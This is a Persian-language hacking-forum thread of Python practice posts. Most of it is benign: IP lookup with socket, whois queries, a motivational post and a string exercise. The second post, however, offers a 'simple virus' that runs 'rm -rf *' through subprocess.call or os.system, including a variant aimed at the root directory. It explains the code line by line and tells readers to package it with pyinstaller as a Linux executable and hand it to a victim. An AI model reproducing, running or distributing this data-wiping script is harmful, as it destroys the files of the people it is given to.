discord icon
سرور دیسکورد گاردایران
Mr.Python

تمرین برنامه نویسی با پایتون

پست های پیشنهاد شده

با سلام

 

 

در این تایپیک قصد داریم ان شاالله سورس کد های برنامه هایی

 

که به زبان پایتون نوشته شده اند را بررسی کنیم.

 

این برنامه ها میتوانند دست نوشته خودتان یا دیگران باشند.

 

کد های برنامه ها تا انجا که در فهم بنده حقیر و اساتید عزیز باشد

 

به امید خدا بررسی خواهد شد و نتیجه قرار داده می شود.

 

 

قوانین تایپیک:

 

1. اگر میدانید برنامه با چه نسخه ای از پایتون ساخته شده حتما آنرا بیان کنید.

2. هیچ گونه بی احترامی و توهین جایز نیست.

3. منبع سورس کد را حتما قید کنید.

4.برای تشکر به هیچ وجه پست ندهید و فقط از گزینه 'تشکر' استفاده کنید.

 

 

 

 

 

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

در لینجا اسکریپت ساده ای از ماژول subprocess رو میبینید که در واقع اگر به یک سیستم عامل لینوکسی داده بشه تمام فایل های موجود در مسیر کنونی اسکریپت رو پاک میکنه.( یک نوع ویروس ساده)

هم روی پایتون ۲ و هم پایتون ۳ کار میکنه.

#!/usr/bin/env python

import subprocess

subprocess.call('rm -rf *', shell=True) #example

اگر تمایل داشته باشید میتونید مسیر رو عوض کنید.

subprocess.call("cd root; rm -rf *", shell=True) #example

یا میتونید از ماژول os استفاده کنید :

import os

os.system('rm -rf *') #example

در خط اول برنامه مسیر مفسر پایتون رو فراخوانی کردیم .

در خط دوم ماژول subprocess که مخصوص دستورات خط فرمان هست داخل برنامه چسبوندیم و تمام محتویات ماژول رو داخل برنامه ریختیم.

در خط اخر از ماژول subprocess ، تابع ساخته شده دراون به نام call. که دستورات شل بیسیک رو اجرا میکنه فراخوانی کردیم.

دو ارگومان داخل تابع call باید تنظیم بشه که اولی دستور ویروسه .

در دومین ارگومان :مقدار shell رو برابر True قرار دادیم تا سیستم عامل به اسکریپت اجازه ی اجرای دستورات شل رو بده . در غیر اینصورت هیچ دستور شلی یافت نمیشه ( در اسکریپت دستورات شل پاک میشن و خطای no such file رو دریافت میکنید) -- فایل همان فایل محتویات دستورات هست.

تابع call فقط همین دو ارگومان رو میگیره.

تابع system هم مانند تابع call عمل میکنه و دستورات شل رو اجرا میکنه.

اسکریپت رو با کتابخانه pyinstaller به فایل run لینوکس تبدیل کنید و به قربانی بدید .

اسکریپت ها در پست بعدی.

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

سلام

خب تو مرحله های اول و مقدماتی هستیم

کد زیر ای پی یک سایت رو پیدا میکنه و در اسم address اون رو ذخیره میکنه

میتونید برنامش کنید و در هر دو نسخه پایتون کار میکنه

ماژول socket رو راه میندازیم

خب اول مسیر مفسر رو درخط اول برنامه که shebang نامیده میشه ، وارد میکنیم .

#!/python27

ماژول socket روایمپورت میکنیم برای استفاده از توابع ، دستورات و کلاس های این ماژول .

import socket

حالا کد اصلی رو مینویسیم :

address = socket.gethostbyname('yahoo.com') # basic code

تابع gethostbyneme رو از ماژول socket فراخوانی کردیم و مقدار سایت رو در پرانتز قرار دادیم تا برنامه از ماژول socket اول تابع ذکر شده رو فراخوانی کنه و سایت رو به تابع بده و تابع هم بوسیله برقراری ارتباط با سرورسایت ای پی رو در اسم address ذخیره کنه .

برای نمایش ای پی از دستور پرینت استفاده میکنیم تا خروجی اسم رو نشون بده:

print address

میتونیم یذره تنوع به خرج بدیم

#!/python27

from socket import gethostbyname

print "Enter The URL :\n"

URL = raw_input("@> ") # example

addr = gethostbyname(URL)

print "IP :",addr

خطا ها رو میتونید except بزنید.

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

در این بخش میخوایم از یک سایت با پایتون whois بگیریم و محتویات سایت رو نمایش بدیم :

خب مفسر را اجرا کنید :

در پایتون 2:

python

یا python2.7 :)

خب دستور نصب ماژول whois رو در پوسته cmd یا ترمینال جدید وارد کنید:

pip install whois

خب حالا این ماژول رو در مفسر ایمپورت کنیم

import whois

قطعه کد زیر تابع whois رو از ماژول مورد نظر فراخوانی میکنه و سایت guardiran رو به تابع میده تا ماژول (برنامه) whois در سرور به دنبال سایت مورد نظر بگرده و اطلاعات اونرو در اسم rec_data ذخیره کنه .

rec_data = whois.whois("guardian.org") #basic e.g

حالا اطلاعات گرفته شده رو نمایش میدیم :

n\ : به این معنی هست که اشاره گر بره خط بعدی و با این کار ادامه کلمه Whois اطلاعات سایت نمایش داده نشه بلکه در خط بعدیش نشون داده بشه

print "Whois : \n", rec_data

# Print The Contents Of Guardiran

print " Contents :\n", rec_data.text

یا میتونید مقدار دلخواه از محتویات رو slice کنیم و نمایش بدیم

با اینکار تعداد دلخواهی از کاراکتر هارو نمایش میدیم در مثال زیر صد کاراکتر از اول نمایش داده میشه

print " Contents :\n", rec_data.text[:100] # slicing Contents

در پایتون ۳

python3

import whois

rec_data ,......

فقط در دستور پرینت باید هرچی جلوشه داخل پرانتز قرار بدید (ارگومان های الزامی)

دستور پرینت در پایتون ۳ ، یک تابع هست و به ارگومان های کلیدی نیاز داره.

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

سلام 

خیلی وقته که این تاپیک به روز رسانی نشده.. اما خب فکر میکنم دیگه باید شروع کنیم یه دستی بکشیم به سر و روش

موضوع اینه که شما تو این تاپیک ، با تمرین های مختلف برنامه نویسی اشنا میشید ، یه سری ایده ها رو از همدیگه میگیریم کد هامونو بررسی میکنیم خلاصشون میکنیم و در کل به صورت ((گروهی)) رو تمرین ها و مسائل پایتونی بحث میکنیم.

 

خب همونطور که میدونین خیلی از سایتا و منابع چاپی و کتابا ، برای مسائل پایتون و تمرینات برنامه نویسی مطالب زیادی رو گذاشتن . 

اینجا دقیقا همونکارو میکنیم منتها با این تفاوت که شما برای یک مسئله ممکنه چند تا راه حل داشته باشید و از بین این راه حل ها یه بهترینی وجود داشته باشه که بهتر از پاسخ اون سایتا و کتابا هست . یعنی کدتون خلاصس ، از حافطه کمتر استفاده میکنه و سریعتر اجرا میشه.

 

مثلا برای بدست اوردن اعداد اول ، خب راه حل های متفاوتی وجود داره ، یکی از تابع استفاده میکنه ، یکی به صورت دلخواه الگوریتم مینویسه ، یکی از حلقه استفاده میکنه و لیست ، یکی از حلقه و متغیر و ....

در کل تمام کارای خفنی که شما فکر میکنید راز و رمز خاصی داره و نیاز به هوش انیشتینی داره ، در واقع تنها چیزی که نیاز داره تمرین هست . برنامه های کوچیک و بزرگ طراحی مدار و سخت افزار طراحی سیستم عامل برنامه های کاربردی پر فروش و ... هیچ رمز و رازی نداره توش . برنامه نویسای حرفه ای نمیگن این یه تیکه کد خیلی سادس ، براچی باید اصلا برم برنامه جمع و تفریق بنویسم براچی خودمو درگیر این کنم که عدد اول چطوری تولید میشه و ... ، بلکه مرتب دارن خودشونو تو اینچیزا غرق میکنن . دنبال اینن که بدونن چه الگوریتمی بنویسن که بتونن فایل هارو رمز نگاری کنن .. یکی میگه خب من بلدم اعداد اولو با این روش تولید کنم حالا میام یه سری محاسبات رو انجام میدم که بتونه محتویات فایل هامو رمز نگاری کنه یه کدی مینویسه در حد جمع و تفریق و ضرب و تقسیم مربوط به چند تا عدد اول ،  اینطوری تونسته یه متنو به بهترین شکل رمز نگاری کنه.

یا همین لیست و تاپل و تمرینات ساده ی برنامه نویسی ای که شما با خودت ممکنه بگی چیه این اخه انقدر سادس که ارزش نداره وقت بذارم روش فکر کنم .در صورتی که چیزی که شما تو ماشین لرنینگ Machine learning نیاز داری برای شروع ، کار با لیست و اعداد و رشته هاس (ترکیب کردنشون ، تبدیل از ی مبنا به مبنای دیگه ، تبدیل بایت به اسکی و استخراج داده ها(داده کاوی) از لیست ها ، ماتریس ها و  ... ) و در نهایت شما با این تمرینا به جایی میرسید که پیکسل به پیکسل یه عکسو میخونید و روش محاسباتی انجام میدید که بفهمید توی عکس از چه اشیایی استفاده شده و این میشه نهایت برنامه نویسی یعنی هوش مصنوعی

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

تمرین 1 

 

- برنامه ای بنویسید که از کاربر ، یک رشته دریافت کند و بزرگترین عدد داخل رشته را در خروجی نمایش دهد. 

نکته : (استفاده از توابع داخلی یعنی توابعی که در خود پایتون موجود هست - توابع built in مثل int - و استفاده از ماژول هایی مثل re - استفاده از دیگر متد های رشته مانند isdigit - isalpha - join و .... ، در برنامه جایز نیست )

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری